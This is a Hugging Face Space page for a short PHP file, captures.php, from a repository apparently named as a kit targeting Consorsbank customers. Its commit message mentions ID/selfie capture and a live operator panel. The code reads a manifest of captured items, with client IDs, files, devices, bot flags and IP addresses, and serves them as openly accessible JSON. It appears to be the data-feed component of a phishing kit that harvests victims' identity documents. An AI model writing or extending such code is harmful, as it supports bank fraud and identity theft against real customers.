Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download captures.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 1.01 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/captures.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/captures.php
-
curl -L -o captures.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/captures.php
1.01 kB
| /** | |
| * captures.php — returns captures/manifest.jsonl as a JSON array (newest last). | |
| * Each line: {ts, client_id, kind, idx, files, cloud, quality, device, bot, ip}. | |
| */ | |
| declare(strict_types=1); | |
| require_once __DIR__ . '/lib.php'; | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Content-Type: application/json; charset=utf-8'); | |
| header('Cache-Control: no-store'); | |
| $out = []; | |
| try { | |
| $file = __DIR__ . '/captures/manifest.jsonl'; | |
| if (is_file($file)) { | |
| $raw = @file_get_contents($file); | |
| if (is_string($raw) && $raw !== '') { | |
| foreach (explode("\n", $raw) as $line) { | |
| $line = trim($line); | |
| if ($line === '') { | |
| continue; | |
| } | |
| $j = json_decode($line, true); | |
| if (is_array($j)) { | |
| $out[] = $j; | |
| } | |
| } | |
| } | |
| } | |
| } catch (Throwable $e) { | |
| $out = []; | |
| } | |
| echo json_encode($out, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); | |